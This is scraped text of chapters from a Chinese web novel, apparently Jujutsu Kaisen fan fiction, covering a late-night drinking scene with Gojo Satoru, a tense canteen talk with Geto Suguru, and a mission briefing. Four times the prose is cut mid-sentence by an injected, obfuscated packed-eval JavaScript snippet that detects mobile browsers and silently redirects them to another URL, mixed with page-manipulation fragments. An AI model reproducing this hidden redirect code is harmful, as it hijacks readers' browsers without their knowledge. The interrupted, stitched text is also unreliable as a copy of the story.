如果是其他咒术师,大家肯定会觉得这样压榨一个人太过分了,但是五条悟不一样,因为他太强,所以那些会让其他咒术师伤亡惨重的任务,也只能落在他身上,这样是最完美的解决方案不是吗?难道五条悟在有这个能力的前提下,能眼睁睁地看着其他咒术师送死吗?这种逻辑自圆其说,谁也说不出不对劲的地方来。大家觉得他理所应当做这一切,他也同样回报着所有人越来越高的期待,从来都不会抱怨和疲惫。 真的不会疲惫吗? 夏油杰在去年星浆体任务之后,满是阴霾的心忽然触动了一下。一整年没有怎么关注过好友,直到今天才忽然发现,五条悟任务的极具加倍,就是从他那次领悟了反转术式开始的。 真是的,怎么没听那家伙抱怨过。夏油杰压下心底的苦涩,只能对白川琉世勉强笑了一下。 “我好久之前就听说过,拥有六眼的人是咒术界最强的人。”白川琉世的眼神亮晶晶的,“我还以为是六只眼睛呢。” “噗。”夏油杰没忍住,笑出了声。 …… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325627|167597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 21:34 踏踏,踏踏,踏…… 啊,这个脚步声,轻盈、雀跃。 白川琉世在手机的亮光里抬起头。 “老子来了!你们的五条前辈驾到。”门猛地被推开,“啊,稍微晚了一点点,大家都睡着了吗?” 戴着墨镜的少年站在门口,笑容灿烂。 大家从沙发上七手八脚地爬起来,给五条悟腾出位置。 “诶?硝子睡着了?”五条悟坐在夏油杰和白川琉世中间,戳了戳家入硝子的脸。 “这次喝这么多吗?”他数了数空酒瓶的数量,“硝子,硝子,不会酒精中毒了吧。” “前辈,剩下一半是我喝的。” “哈?”五条悟的墨镜稍稍从鼻梁上滑落了一段,露出苍蓝的眼睛,“看起来一点也没醉,嗯……,这也是你那个超能力的原因吗?” 白川琉世知道是三年级的其他两个前辈把自己的事告诉五条悟了。高专占地面积很大,虽然上课和住宿都在一栋楼,但五条悟好像很忙,开学到现在,这才第二次看到他。 “有可能吧,我也不清楚。”白川琉世双手合十,“对不起,喝掉了你十万日元。” “老子在这里请你们,怎么会付不起钱嘛。”五条悟视线扫过桌子,大家已经吃得差不多了,他迟到了一个半小时,本身也不会指望谁等着他,那样也太不人道了。而且,平时遇到这种情况,他会在车里吃东西,大家也都是知道这点的。 是所有熟悉的人,处于对彼此了解的心照不宣。 经年累月,微小的失落会越积越多,心也同样会越来越麻木,后来会变成,本来就是这样子的习以为常。 “五条前辈。”白川琉世弯腰在桌子旁的置架上,搬上来一个盒子,“我们给你留了寿司,如果没吃东西就吃一点吧。” 嗯?什么时候?七海用眼神询问伊地知。 伊地知摇了摇头,他也不知道,反正不是他们来之前买的,应该是白川琉世在点菜的时候点的吧。 “诶?”五条悟拉长音调。很开心,要表现出很开心的样子,不过,虽然平时都是这么做的,但真的很感动的时候,他反而不能像平时那样夸张地笑出来。 “难道说,五条前辈现在一点也不饿。没关系,带回去当夜宵,当第二天的早饭,寿司这东西不怕放凉。” 五条悟夹起一个寿司,放进嘴里,两颊因为感觉到食物进入口腔微微发酸,他想起自己在车上只吃了一个面包。 “五条前辈很开心哦。”嘴里正嚼嚼嚼的五条悟,对期待着看向他的白川琉世露出笑容,“不过,老子喜欢吃糖分高的食物。” 伊地知有所察觉地看向五条悟,想起白川琉世的那句“我喜欢可乐。” 那么接下来…… “下次要给老子买甜食。” 没错,他果然是细心的那一挂。伊地知推了推眼镜 白川琉世快乐地说,“好!” 三个人的脑电波都对上了呢。 “大家不知道吧,我是会做饭的,很吃惊吧。”白川琉世摩拳擦掌,“下次聚会去我家就可以,我给你们做菜吃。” 他家在山里,平日里根本没人到那边,过去玩可以当做郊游,家里很大,玩累了就睡,没关系的! 8. 第 8 章 高专,23:50。 悄咪咪把家入硝子送到女生宿舍后,白川琉世困得东倒西歪,往床上一趴,忽然想起买的糖忘记送给五条悟了。 打开书包,里面有好多袋棒棒糖,和打包回来的一瓶酒。对于家入硝子所说的微醺和大醉,他还是有点心动,打算找时间研究下怎么喝醉。 据说那间店是五条悟自己家的产业,因此可以向他们这群未成年人兜售酒水。 刚刚和家入硝子喝的很畅快,但是忘了和五条悟喝几杯了,聚会不就是要喝酒才能拉进距离吗。 于是一个人影背着包,溜下了二楼,在门口写着“五条”的那间房门口停下。 …… …… …… 来时一时兴起,现在大脑却一片空白,白川琉世沉默地站在五条悟房间门口。 要说什么来着? 糟了,客套话他是一点也不会说啊。 “琉世。”门后的五条悟也同样沉默着,“你已经在外面站了五分钟了。” “哇啊,你怎么知道的?”白川琉世推开房门,五条悟就站在门后不远的地方,似乎刚洗完澡,穿着白色的长袖长裤睡衣,手里拿着卡通图案的瓷水杯。 “哈?你的存在感吵得整栋楼都要睡不着了。”不管是咒力,散发的热量,还是咚咚咚乱跳的心跳声,和一头大象忽然闯进他房间的动静也差不多。 “啊,”白川琉世忽然记起来,“忘记前辈有六眼了,果然只是听说,没有什么实感。” 五条悟噗嗤一笑,“你还真是对咒术界不怎么了解。不管你有什么事,先进来吧。” 白川琉世被一阵阵汹涌的快乐冲昏了头脑,好像晚上喝的酒终于开始上头,轻手轻脚地踏进五条悟的卧室。那种感觉就像小时候收到妈妈寄过来的游戏掌机和勇者斗恶龙的卡带,在书店买到期待已久的漫画单行本,但因为要做的事情没做完,只能把喜欢的东西放一下,等解决完所有事情,终于能拆开包装时一样。期待,兴奋,就连小腹都有着急的紧绷感。 完美到无死角的五条悟前辈,就像jump周刊里人气最高的男主角,白川琉世的校园偶像,想要靠近,想要了解他。 普通学生三倍大的宿舍果然宽敞,但也没有想象中的豪华,和白川琉世一样的单人床、书桌和衣柜,只是多了一张餐桌,几把椅子,和装满了漫画书的几排置物架。 五条悟刚洗过澡,肌肤仍然散发着热度,脸颊也比平时红润一点。睡衣是低领,露出了平时藏在立领校服下的锁骨,不深不浅,流畅的弧度。白川琉世觉得,如果这个世界也是本漫画的话,五条悟身上的每一处,都绝不是漫画家随笔画下来的,他一定是最受缔造者宠爱的人物。 “前辈,你也有这部,竟然是全系列的单行本!”白川琉世眼睛不知道往哪看,还好,在书架上看到了他喜欢的一部漫画。 “你也喜欢这部吗?” “当然了,超喜欢。”白川琉世看着那排《浪客剑心》,“我还学过那个……,”他摆出居合斩的姿势,拔刀,“天翔龙闪!”然后眨眨眼睛,看到五条悟因为他夸张的动作笑了起来。 “很活泼嘛。天翔龙闪普通人是绝对做不到的,不过你很有希望,不是有那种超能力吗?” “那种时好时坏的能力,也没那么好用。”白川琉世尴尬一笑,“我看到这招的时候,脑子已经被科学毒害过了,第一反应就是,骗人的吧,人类怎么能拥有这样的剑术。” “哈哈哈。”五条悟肩膀一抖一抖地,“如果你出生在古代,搞不好会变成神。不过,反过来一想,曾经的神可能也只是拥有像你一样的力量。” 未曾设想的道路,但是,“我对成为神没有任何兴趣。”白川琉世说,“人应该不会变成不了解的东西。” 没有否认,也就是说,潜意识里认为自己拥有这种可能性了?很张狂啊。 五条悟似乎想到了什么,没有回答,端起水杯喝了口水,嘴唇被饮料沾湿,泛出莹润的色泽。 白川琉世莫名吞咽了一下,“啊,对了,这次来是想……”,拉开书包拉链,看到那瓶忘记拿出来的酒,白川琉世灵机一动,把酒掏出来,“五条前辈,要不要喝一点。” “酒?”五条悟干笑两声,“琉世,未成年喝酒会变得不聪明。” “无所谓,反正我也不是那种走聪明人路线的。” “宿醉了明天会起不来床!” “会醉吗?只有一瓶啊。啊,难道说,五条前辈你酒量很差。”白川琉世忽然觉得自己抓住了重点,“抱歉,我不知道……。” “哪有,轻轻松松好不好。”五条悟像被踩了尾巴的猫,“老子今天就陪你喝……喝一杯好了。” 那双神采飞扬的苍蓝色的眼睛,带着逞强的意味看向白川琉世。 “那我给前辈倒酒。”白川琉世拉开瓶盖的功夫,五条悟已经找到了房间里最小的一个杯子。 果然是很小的一个杯子,白川琉世坏心眼地倒了满满一杯,一晃就要洒出来的地步,不便于放在桌子上或交到他人手中。 “好像要洒了,”白川琉世稳稳地举着杯子,他的手臂是经过千锤百炼的剑士的手臂,然而,嘴上说的话却变了味道,“我喂五条前辈喝吧。” ??? 面对一脸疑问的五条悟,白川琉世一副没关系,这种事情很正常的阳光笑容,让五条悟觉得,自己见外是不是有点小气了。而且,他天生就比较喜欢不被规则束缚的事,迟疑着,就慢慢凑了过去。 两个人是坐着的,五条悟刚靠近酒杯,眼睛就被灼辣的酒气熏得眨了好几下,白色的睫毛尾沾上了星星点点的泪光。但是在后辈面前都夸下海口了,临阵脱逃可不行啊。只喝一口,就说自己忽然嗓子不舒服,肯定不会喝醉的。 嘴唇轻轻沾上酒杯,警惕地抿了一口。白川琉世自然地微微倾斜角度,让酒液缓慢流入五条悟的口中。 凑近自己手的脑袋,好像曾经喂过的小猫脑袋,每次小猫这么凑过来,白川琉世就知道那是它们在对自己表示信任。但那是动物,和人类的话,白川琉世才发现,这种动作有多亲密。 为什么刚刚会做出那样的决定,说出那样的话呢? 五条悟半眯着眼睛,从自己手中汲取酒液,喉咙明显地吞咽了一下。 好像对方在对自己暴露脆弱、表达依赖。 糟了,出现了危险的想法。白川琉世呼吸乱了一拍,手一抖,一大口酒液就呛入了五条悟的喉咙。 “咳、咳咳。” “前辈!你没事吧?”把酒杯放下,白川琉世后悔自己干嘛要搞这个恶作剧。 想拍一下那人的后背,手却在距离衣服一指的范围停下,再也无法前进。 “碰不到吧,那是老子的术式,无下限。”平静下来后,五条悟趴在桌子上,眼神迷离,脸已经浮现出明显的红晕。 所以说是,一口的酒量? “呛到了就不要喝了。”依旧记得维护五条悟的自尊,白川琉世要把杯子拿走,却被五条悟抢过去,一口闷了。 白川琉世心脏骤停。 五条悟又猛烈地咳嗽了起来,背对着白川琉世趴下,脊背随着咳嗽的耸动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325628|167597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看起来很难受的样子。白川琉世颇为自责,忽然想到了什么,把酒瓶藏了起来。 真的害怕酒量不行的前辈因为想要证明自己猛灌一瓶酒。 “嘶……。”五条悟吐着舌头,“果然还是这么辣,不好喝。” 脑袋忽然昏昏沉沉的,一切都变得好混乱,被六眼吸收的大量信息一股脑涌进脑海,但大脑因为酒精的影响暂时停摆,各种垃圾信息无死角地对他围追堵截。五条悟闭着眼睛,把脸贴在桌子上降温。 “前辈?是不是很难受,要我去找家入前辈吗?”问完这句,白川琉世沉默了,好像家入硝子也水灵灵地喝醉了。 五条悟抬起手挥了挥,想把模糊不清的声音挥走,但耳边一直有人说着什么,他睁开眼睛,撞入一片金色耀眼的辉光。 “卡密……。” 卡密?什么,神?第二次从五条悟嘴里听到这个词,白川琉世俯下身,想听清楚接下来的话。 发出无意识的呓语,银白色头发的少年闭上眼睛,脸颊透出淡粉色,睫毛颤动着,又睁开,“那么,我和那个人有什么相似之处呢?” ? 这是…… 虽然完全无法理解,但白川琉世不敢出声,怕打断五条悟继续说出什么的可能性。 屋子里针落可闻。 直到五条悟的呼吸声传来,匀长,安静,毫无防备地趴在桌子上睡着了。白川琉世依旧托着腮,专注地看着他,那是在正常情况下十分冒犯的视线。平时,只能一瞥而过这个人的脸,形成的是大概的印象,像是团梦幻的迷雾,脱离了本来的面貌,承载心里最美妙的幻想。不过,这种情况下,他终于能像观赏艺术品一样,临摹他的美丽,清晰迷雾的轮廓。 如果五条悟知道自己在失去意识后,有人在他房间待了很久,一定会生气。白川琉世很有自知之明。“失礼了,前辈。”他试着抱起五条悟,想把他送到床上去。这次没有无下限的阻挡,很容易就把喝醉的人抱了起来。 一只胳膊托住背部,一只托住腿弯。互相接触的地方,传来柔软的触感和温热的体温。 通常来说,公主抱这种情况,被抱起来的人,会因为自身的重量,自然地倚靠上抱着他的人的胸膛。 但是抱着他的人,有着千锤百炼的剑士的身躯。 白川琉世小口小口地呼吸,只用手臂使力,就轻松地维持了公主抱的姿势。而且,对方的身体犹如依然能使用无下限术式一样,始终距离他的胸膛一个手掌的宽度。 他只是不想被对方讨厌。在没人看得到的时候,也要无比严格地审视自己的行为。 白发的少年头部向后垂着,从白川琉世的视角看过去,只看到平时藏在立领校服后面的下巴,和绷紧的脖颈。 白川琉世这才注意到,这种姿势有多么亲密。五条悟的心跳声,清浅的呼吸,睫毛的微颤……另一个陌生而强势的生命力,近乎是紧紧地贴着他。 …… 啊,好像站了有一会了。这种情况果然有点怪吧,对,是要把人放床上去的。 把人放在床上,脱掉拖鞋,盖上被子。白川琉世轻手轻脚,把糖全都堆在餐桌上,关上灯,火速逃离了五条悟的房间。 回到自己房间,他趴在书桌上,把脸颊贴在冰凉的桌面上降温,手指在手机键盘上按来按去,删删打打,编辑邮件,最终也只是简单地发出去一句。“五条前辈,我回去了。” 发出去后他扑在床上,被子蒙头。 啊啊啊他在说什么啊! 缺乏人际交往经验的少年,不知道说什么,让五条悟不会反感。 9. 第 9 章 今日晴,无事。 原本应该是这样的。 距离入学已经过了一个月,白川琉世已经很好地适应了高专的生活,与其说是来这上学,不如说是经常逃课,没事做做任务,提前过上了咒术师的生活。 拿到了第一个月的工资后,白川琉世马上买了一套颜料给妈妈寄过去。化妆品、服装或者首饰他都不懂,不过绊子是位插画师,那买套颜料总不会出错。 剩下的钱,去掉生活费也不是很多了,白川琉世打算先存起来。当咒术师其实也不是全无优点的,至少不用担心钱的问题。 连最低级的四级咒术师都比普通的上班族工资要高。 不过,知道了咒术师的等级制度后,他发现自己还是四级咒术师,虽然夜蛾老师说,单凭实力,他完全可以评上一级,但咒术总监部那边好像压了他的申请,连升上三级的申请都没有被批准。总监部也并不是不了解他的情况,分配给他的任务都是祓除一级咒灵的,是一点亏不吃,一点光也不让别人沾。 咒术师的工资和等级挂钩,这就是说,他干了一个月一级咒术师的活,领了四级咒术师的工资。 这种事情不要啊! “咒术总监部卡我的申请做什么?”白川琉世还不忘给他们找个理由,“难道是看我太年轻,想让我沉淀沉淀?” “不,”夜蛾正道说,“我猜,是因为你的咒力总量非常低微,和普通人的差不多,只是能看到咒灵而已。你用来杀鬼的呼吸法,严格来说并不算咒术,这些保守派的老古董并不认可。” “他管我用什么杀咒灵,能杀掉不就好了吗?” “琉世,是祓除咒灵,不是杀……。” “反正咒灵最后不都是死了吗,夜蛾老师,你怎么也咬文嚼字的。” 夜蛾正道失笑,“这也是一个原因,琉世,他们不喜欢你这种随性的人,就算你是普通运用咒力的咒术师,也不会让你升级升的很顺利。” “总监部是吧,我记住他们了。夜蛾老师,等我做了咒术总监,我封你做特级咒术师。” 夜蛾正道想要做出生气的样子,然而还是被逗笑了,“志向很好,老师等你做到的那一天。” 如果说四级咒术师是忍者学校的学生,那么特级就是影级了,真不愧是五条前辈和夏油前辈,咒术界只有三个特级,他们就是其中两个。不过,如果他是一级咒术师的水平,那么实力也相当于上忍了。努努力,特级咒术师指日可待! 日子就这么一天天过去,自从上次五条悟喝醉后,他就再也没有见过对方了。 “据说是很忙,他最近回家了几天。”七海回忆了一会,“上次聚会之后,我也没有见过他。” “自从那天他喝醉了之后,一直都没有联系我,是不是生我的气了。”白川琉世想起那天的邮件,第二天五条悟只是回复了个颜文字,两个人就再也没有交流。 “他喝醉了?”七海警觉,“什么时候喝醉的。” “那天聚会回宿舍后,我带了瓶酒去找他。不过,五条前辈只喝了一小杯,就醉倒了,很快就睡着了。” “只是睡着了吗?”七海心有余悸,“不要给他喝酒,一杯也不行,会发酒疯的。” “发、发酒疯?”白川琉世无法想象那个人发酒疯的样子。 “如果只是单纯的聒噪,倒也没什么。”七海指向后山的一片树林,“看到了吗,那是他喝醉了用苍打的,树全都轰没了,还留下了一条坑。因为很不美观,学校就填了坑,修成了一条路。” “啊……啊?”白川琉世看向后山那条超级长,一直延伸出视线尽头的路,“嘶,特级强者,恐怖如斯。” 除了伊地知经常看到,其他人都神神秘秘的。家入硝子是个宅女,很少出来,七海总是急匆匆地出各种任务,在夏忙期,不管是未成年还是成年人,都像牛马一样被使唤的团团转。 偶尔能在食堂看到随机刷新的夏油杰,每次都是心里有事的样子,问他也支支吾吾,言语不详,让白川琉世很怀疑七海骗了他。七海这家伙,竟然说夏油杰和五条悟以前是令老师头疼的超级顽劣分子。五条悟还好,夏油杰虽然打扮的挺不良的,但怎么看都没那个精神顽劣吧。 “前辈,今天还是吃面啊,你不会觉得腻吗?”一手一个托盘,每个托盘都堆成小山高的白川琉世,坐在了夏油杰对面的位置。 每次见都是吃面,凉面、素面、荞麦面,吃的夏油杰下巴都有点尖了。 “不会,我喜欢吃面。” 夏油杰笑了,弯起眼睛,露出点牙齿,并不像伊地知和七海那样,只是抿起嘴角,笑得矜持又克制。夏油杰的笑容里还带有曾经开朗过的影子。 “我也喜欢,但仅限于拉面,而且是有巨大叉烧的那种。” 夏油杰往自己的方向拉了拉餐盘,为白川琉世空出点位置。学弟人高马大,正是饭量最大的时候,但饶是如此,一人吃五人份是不是太夸张了。 不知道什么时候吞到头的咒灵玉,和心中蠢蠢欲动的愤懑,令他吃什么都难以下咽。 “前辈,加餐吗?”白川琉世把装汉堡肉的包装袋推到了对面。 夏油杰愣了下,接受了他的好意。 “白川,来这里还习惯吗?” “太习惯了。”白川琉世猛吸一口乌冬面,又塞了一嘴饭团,“在咒高上学好像回家一样,这里个个都是人才,说话又好听,我超喜欢这里。” 夏油杰依旧带着笑容,“但是,没有咒力的你,算得上是咒术师吗?” 哗啦—— 一声刺耳的巨响,是食堂的工作人员把什么东西掉在地上的声音。 “嗯?前辈,你在说什么?是说我没有咒力这件事吗。”白川琉世嚼嚼嚼,“那种事情无所谓啦,等我当上咒术总监,把所有咒术师通通改名叫咒杀队剑士,按照癸到甲排列等级,最优秀的那几个封为柱,然后对不会呼吸法的人说‘你也算得上咒杀队剑士吗?’。” 夏油杰:坏了,遇到个癫的。 白川琉世又推给夏油杰一个饭团,“前辈,本来以为你是吃原味咒灵丸子吃多了没什么胃口的,那我是没有办法。不过,看来是有什么心事。” 夏油杰原本是不想说什么的,但与白川琉世表现出来的大大咧咧不同,他总是在一些奇怪的地方异常敏锐。 “白川,传说中,鬼王被消灭后,食人鬼这种东西就彻彻底底消失了吧。” “没错。”现任鬼王愈史郎和上弦一茶茶丸,百年间与世无争,有没有他俩没什么区别,应该不能再算“鬼”了。 “但是咒灵永远也除不尽。” “我知道啊,咒灵是人的负面情绪产生的,只要人有负面情绪,就会一直产生咒灵。换句话说,咒术师这种工作真是不怕失业的铁饭碗啊。” “重点是这个吗!”夏油杰刚酝酿起来的情绪就这么消散了,“我的意思是,你就不会对永远消除不尽的咒灵感到厌倦吗?” “咒灵的出现是无法控制的,就像上学和上班,地震和潮汐一样。对改变不了的事情苦恼,前辈,这种想法好像在问人活着的意义是什么一样。” 哪里会有什么答案呢,只是徒增烦恼。 “我并不认为,这是无法改变的。”后辈的发言庸俗不堪,令夏油杰感到厌倦。 白川琉世在吃饭的间隙抬起头来,金色的双瞳与夏油杰对视。那一瞬间,夏油杰忽然感觉,自己的灵魂好像从头到尾被冷水浇过一遍,一团乱麻的大脑莫名清醒了很多。 “世界是伟人改变的,或许前辈你拥有改变世界的才能。”百川琉世开始认真考虑夏油杰的话,“如果要从根源上阻止咒灵的产生,那么,一,杀掉所有普通人,留下不会产生咒灵的咒术师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325629|167597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。不过这种想法好荒谬啊,全国的咒术师有一万人吗?或者说全世界的加起来也没有一个市多,这样做整个社会都会停摆,过不了多久我们就会变成除了战斗什么也不会,只能去后山挖竹笋吃的野人。而且,咒术师的父母,也可能生出普通人孩子,难道还要因此放弃自己的家人吗?” “完全不理解咒术师的那些人,能称得上是家人吗?” “白川,只有咒术师才能理解咒术师。” “而家人,是应该彼此了解的人。” ? 看夏油杰并没有开玩笑的意思,白川琉世非常震惊。 他把自己认为最荒谬的论点说在最前面,预想中对方的反应应该是,没错这样太荒谬了,还有呢?没想到第一步就让夏油杰给他问住了。白川琉世才发现他和夏油杰之间是无法互相理解的。 是有这样的人的,白川琉世忽然警觉。对啊,总是有一些什么都很完美的人,实际上大脑运行的逻辑和大家都不一样,因为某些特殊事件的发生,就黑化走上反派的道路。 白川琉世想起某个新世界的卡密,但是不对啊,卡密可是主角,难道夏油杰的说法有理有据,他才是那个小丑? 不对不对不对。白川琉世忙把危险的想法甩出去,卡密可是同样遭到了制裁啊。 “为什么我们一定要让人理解。前辈,你是不是太寂寞了?” 是这样的,这种危险的话说出来,对面一定会有一个大的情绪波动,搞不好直接红温了。以白川琉世对夏油杰的理解,对方大概不会说什么,但保不准万一刺激到了呢?他忘记自己还没说出口的二和三,把没吃完的午饭刷刷扫到袋子里,火速告辞跑回寝室,然后掏出手机,打打删删,删删打打。 “五条前辈,夏油前辈最近不太对劲。” “杰怎么了?”对方很快就回了。 “今天和夏油前辈聊天,感觉他要黑化了。(苦笑)” 躺在家里吃着棒棒糖的五条悟,只认为是小狗在找理由和自己聊天。 酸甜的柠檬味停留在舌尖,地上还散落着很多不同口味的棒棒糖。 “你惹他生气了吗?” 这又关他什么事了?白川琉世盯着屏幕,不自然地挠挠下巴,难道他在对方心里是那种形象吗? “没有,我只是在关心前辈。(委屈委屈)” “因为五条前辈和夏油前辈是好朋友。” “五条前辈,你什么时候回来?” 速度极快地连发三条。 什么嘛,图穷匕见了白川琉世。 和家里其他人传统的服饰不一样,五条悟穿着舒适的长袖长裤私服,躺在光可鉴人的地板上。因为举着手机的姿势太累,翻了个身趴下,撑起上半身打字。那本好不容易从顽固老叔公那借来的古籍,被他随意扫到了一边。 “悟大人!不要这么粗暴!”五条家长老慌忙膝行过去,把古籍抢救似的护在怀里。 不知道抽了哪门子疯,他们家特立独行的六眼从学校回家了,非要他调出神明大人的记录来看。看是肯定可以的,他们全家都差把五条悟供起来了,但非要拿回住处看,还这么不爱惜,五条长老气的脸都红了。 还好他早有预见,跟过来了。 ………… “明天。琉世一定超级开心,超级想老子吧。” 扫到手机弹出的即时消息,看到明天两个字,白川琉世不由得雀跃起来。然而,马上,另一条即时消息覆盖了上一条的显示。 “叫悟就可以。” ! 诶?那岂不是说,以后可以直接叫名字了。 这对吗?这对吗?这对吗? 白川琉世往旁边一滚,直直地摔到地上,脑袋磕出一声巨响,手机也翻滚到一边。 他笑容满面地爬起来去捡手机。 这太对了! 10. 第 10 章 浓重的、污秽的夜,黑沉沉的不见半点光亮,令人恐惧不安到极点的空间,仿佛身体化作黑暗的一部分消失了。 一簇簇火把亮起,点燃了黑夜,浓郁的色彩冲淡了心里的恐惧。意识越飘越远,那簇簇火光犹如长龙,从围着鳞次栉比房屋的街道上排出很远。约莫平安京时代的古建筑上,分散地站着不少人。 衣服上绣着家纹的咒术师,狩衣乌帽的阴阳师,白衣绯袴的巫女,穿着袈裟的僧人,犹如人类世界的百鬼夜行,严阵以待地遥望远处。 似乎意识到这并不是应当看到的,当点点光亮被冲散,漫天星火般散落到木质建筑上时,人群的喊声,惨叫声,弓矢的破空声,都被隔绝在逐渐模糊的意识之外。 “宿傩。” 那道声音把他拉回了这个光怪陆离的世界。 低沉,镇定,并且熟悉。 一阵悦耳的金属摩擦声,仿佛在耳边响起,修长有力的手把打刀缓慢抽出。有着金色射线状纹路的刀身,在夜空中闪着寒光。 仿造唐制的古建筑群,唯有一处比其他地方高出很多。穿着白色狩衣的男人站在檐上,黑色的长发在空中飘荡。 “由我杀死你,是无法更改的事实。” …… “哈……,哈。”胸口好像很沉重,五条悟坐起身,大口喘息着,那本古籍随着他的动作,从身上滑落下来。 他抓起书,上面正记载着平安京众人不敌两面宿傩,黄泉津御命替天行道的故事。 这都是什么事啊,疑似黄泉津转世的人又不是他,为什么他老是梦到这种事情。 …… “琉世。” “啊,到。” “你是不是又走神了?” 整个高专,会叫他名不叫姓的,只有五条悟和夜蛾老师。当然,面对五条悟的时候,他是不会走神的。 谁叫夜蛾老师长得这么凶恶,竟然喜欢在办公室里戳玩偶,场面多少有点辣眼睛。 一排排的各种玩偶堆在墙边,有的还会乱动。虽然老师一直声称那是咒骸,但白川琉世都不好意思拆穿他。 “老师的玩偶太可爱了,所以看走神了。” 步入人类社会,他也变成了一个满嘴谎话的男孩。 夜蛾正道沉默了。 看到老师忽然有点害羞的样子,白川琉世冷汗直流,不会吧,夜蛾老师是这么一个容易轻信别人的人吗? “算你有眼光。”夜蛾正道把刚刚做完的一个小玩偶递过去,“这个就送给你吧。” “给我的?”白川琉世马上笑得见牙不见眼,接过玩偶翻来覆去地看。那是一个黄色的,圆滚滚的小鸡玩偶,只有巴掌大,眼睛过大,嘴巴太小,有种比例失调的丑萌感。 但是,但是,这可是别人送的礼物。很少收到什么的白川琉世,不管被送什么样的东西都非常开心。礼物可是代表着别人的好意啊。 “原来你是真的喜欢,我还以为只是敷衍老师呢。” 琉世这孩子,真是人不能貌相啊,外表是多看两眼就会怀疑自己被找茬的不良少年,其实内心十分单纯。 这孩子,像我!夜蛾正道笑得莫名慈爱。 “老师,这玩偶是单我一个人有,还是大家都有?” 夜蛾正道:“如果大家都有,就不会现在才给你了。” 真相是其他人根本懒得要。 然而白川琉世并不知道,开心地把它揣到裤子口袋里,“谢谢老师。所以,你找我有什么事?” 说到正事,夜蛾正道有些沉重,“悟接到了一个任务,任务目标初步推测为特级咒灵。本来他一个人去也没问题,但他申请要和你一起出这次任务。” “和悟一起出任务,什么时候出发?” “看来和悟相处的不错,已经开始互相叫对方的名字了。” 看白川琉世一脸兴奋的样子,夜蛾正道也不得不给他泼冷水,“虽然不知道悟为什么这么做,但是,特级咒灵和一级咒灵,虽然只差一级,实力却天差地别。我认为这不是现在的你应该接触的,你有权利拒绝这次任务。顺便说一下,老师是希望你拒绝的。” “没关系,如果悟觉得我应该去,那么一定有他的道理。”白川琉世没任何拒绝的理由。 深吸一口气,压下因激动而隐隐出现的颤抖。和“最强”一起战斗,就让他看看自己和“最强”的差距吧。 看来是阻止不了了,夜蛾正道也不再阻拦,“我把这次的任务目标发给你,30分钟后,辅助监督会在高专门口接你。” …… 【地点:岛根县松江市桧原村。 时间:经窗调查,最早案例出现于4月15日。 事件:大量村民陆续失去理智,多发神志不清、躁狂、恐惧表现,多人尝试攻击他人或自杀。至5月5日,已有8人死亡。 推测为特级咒灵作祟,未得到咒灵情报。 经窗调查,村内非法供奉黄泉津御命(道反大神、塞坐黄泉户大神),或与其有关。 委派特级咒术师五条悟、四级咒术师白川琉世调查案件、祓除咒灵。 咒术总监部战术指挥部任务委派课。】 前往岛根县的车程大约九个小时,想到辅助监督要连续开九个小时的车,白川琉世一下子不知道应该可怜谁了。 一般来说他的任务就在东京范围内,这还是第一次出差。收拾好东西,拿起剑,白川琉世背上书包,把小鸡挂在书包拉链上,坐上辅助监督的车之后,才知道还要先去京都接五条悟,等和五条悟汇合后,再开车去任务地点。 这么一来就不止九个小时了! “为什么不委派距离更近的咒术师去?” 辅助监督的声音平静中带着淡淡死气,“大概是这项任务太危险了,总监部认为派五条悟去是最合适的。咒术师本来就不够用,要尽量避免出现伤亡。” 白川琉世愣了一下,没从这话的逻辑里找出任何不对。从大义的角度,这是无比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15325630|167597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正确的,正确到五条悟个人的感受都微不足道了。 “总监部的那些人,也都是咒术师吗?” 辅助监督对他天真的问话感到好笑,“总监部绝大多数人都是咒术师,高层全部都是咒术师,普通职位除了咒术师,还有部分辅助监督和窗。辅助监督是为术师提供内务和后勤支持的,比如我就是一名辅助监督。窗的话,能看到诅咒,为咒术师提供咒灵的信息,但并没有战斗能力。” 